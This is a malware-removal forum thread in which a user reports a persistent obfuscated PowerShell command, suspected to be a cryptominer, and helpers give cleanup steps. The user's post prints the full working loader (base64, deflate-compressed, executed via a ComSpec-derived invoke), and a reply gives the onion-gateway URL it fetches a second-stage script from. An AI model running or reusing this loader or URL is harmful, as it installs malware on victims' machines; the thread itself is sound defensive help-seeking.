Undetected powershell command (miner?)

[WithHeld]

Found this command being launched & eating up 50% of CPU on an i7.

Allowed itself to be killed via task manager, but it started up again on PC restart, as expected. Finally, was able to get rid of it via Bitdefender or some such - at least I hope so.

Was able to de-obfuscate the first step:

(nEW-objEctSysTEm.IO.COMpREsSIon.deFLAteStReAM([sYStEM.io.MEMORYstreaM][syStEm.cOnvERt]::FrOMBASE64strING('bZJdT8IwFIavXbL/0JDFskQKA8aHhgsvZmKC80ImJMakfHQynBuyItOm/91zOvEjcQk9XTnn7XueM0fd8FCTEanXVFurjlYtrTxdI42Y0CE9o/6gLCGU5dCHMOhR98K2HnYifnRUGPDpLQ8DPSKOuprzMS+Ehr8d9bLnEzHTo9NK1jOynS/ZjQClBfxCcWjkEJeSumig93W76mqs8k1JI6bvkFNIWLAwe2I3eynQlHhhk/UONvNVAusdqDhK7ngk9BnssDOMYTDlOdoEa0lM6o7KwHgeCs1q95c8jQLwJV6xB3455ndCu7albIvAU7XCg5lmYLBigz0s4b40LwR12XX2lj+LOnI5gfSITyCbIJKMR2mKt56IMpGkBTttW4ZPlYWahg2CqfSAxl9N7CMyNP9q2tZvR/Q6gNIZcsTjao7t4ygpgEZeS4R4u9gg+wr5ceCQa/pCA5JNxWKZJiLDlyrXZf9Ncr4qJPLPUhzjKj/AmmRPPw1A0fcsh+bz8kBhAAHO+kYOhu61jgwILTz86PDm5qG9+Xjv72G7ZTmerKXcFudNRI/zlpja6/ZhZTJvdiDGrxt/jV7YFq2Yqq4P9g2wTw=='),[SySTeM.io.COmPrESsIOn.cOMpREssIOnMoDE]::DEcoMPReSS)|%{nEW-objEctSystEM.Io.streAMreadEr($_,[TEXT.enCoDiNG]::ascii)}).ReaDtoeND()|&($Env:COmspEc[4,15,25]-JOin'')

Then I understand that it probably base64-decodes & "unzips" and runs some exe-body. Appreciate pointers on how to find out where it was being launched from & how to make sure I got rid of it.

New Text Document.zip

[David H. Lipman]

It is undetected because MBAM does not target scripted malware.

The script may be only one facet of a greater infection and you should have your PC checked out.

** I have requested this thread be moved to;  Windows Malware Removal Help & Support

 

BTW:  It attempts to download an additional PowerShell script but fails with Error 500

https://w2jzy7ulifqj5hop.onion.to/3456475nt1.ps1

 

 

[WithHeld]

Thanks for decoding the second part, was able to download the file, contents in zip.

Added 127.0.0.1 onion.to to hosts, running a full scan with Avira - that detected some variation of PowerShell.Gen

secon-cmd.zip

[David H. Lipman]

I was finally able to obtain the script and it was twice the size of the one you posted.

However, I could not get anything out of it even under a Win10 and Win7 analysis.

 

[thisisu]

Hi and thank you for the file submission. It will be analyzed as soon as possible.

 

[AdvancedSetup]

lHello @WithHeld and

Let me have you run the following so we can make sure your system is clean.

 

Please run the following steps and post back the logs as an attachment when ready.

STEP 01

• If you're already running Malwarebytes 3 then open Malwarebytes and check for updates. Then click on the Scan tab and select Threat Scan and click on Start Scan button.
• If you don't have Malwarebytes 3 installed yet please download it from here and install it.
• Once installed then open Malwarebytes and check for updates. Then click on the Scan tab and select Threat Scan and click on Start Scan button.
• Once the scan is completed click on the Export Summary button and save the file as a Text file to your desktop or other location you can find, and attach that log on your next reply.
• If Malwarebytes won't run then please skip to the next step and let me know on your next reply.

STEP 02

Please download AdwCleaner by Malwarebytes and save the file to your Desktop.

• Right-click on the program and select Run as Administrator to start the tool.
• Accept the Terms of use.
• Wait until the database is updated.
• Click Scan Now.
• When finished, please click Clean & Repair.
• Your PC should reboot now if any items were found.
• After reboot, a log file will be opened. Copy its content into your next reply.

 

RESTART THE COMPUTER Before running Step 3

STEP 03
Please download the Farbar Recovery Scan Tool and save it to your desktop.

Note: You need to run the version compatible with your system. You can check here if you're not sure if your computer is 32-bit or 64-bit

• Double-click to run it. When the tool opens, click Yes to disclaimer.
• Press the Scan button.
• It will make a log (FRST.txt) in the same directory the tool is run. Please attach it to your reply.
• The first time the tool is run, it also makes another log (Addition.txt). If you've, run the tool before you need to place a check mark here.
• Please attach the Additions.txt log to your reply as well.

 

Thanks

Ron

 

[AdvancedSetup]

Due to the lack of feedback, this topic is closed to prevent others from posting here.

If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this topic with your request.

This applies only to the originator of this topic. Other members who need assistance please start your own topic in a new thread.

Thanks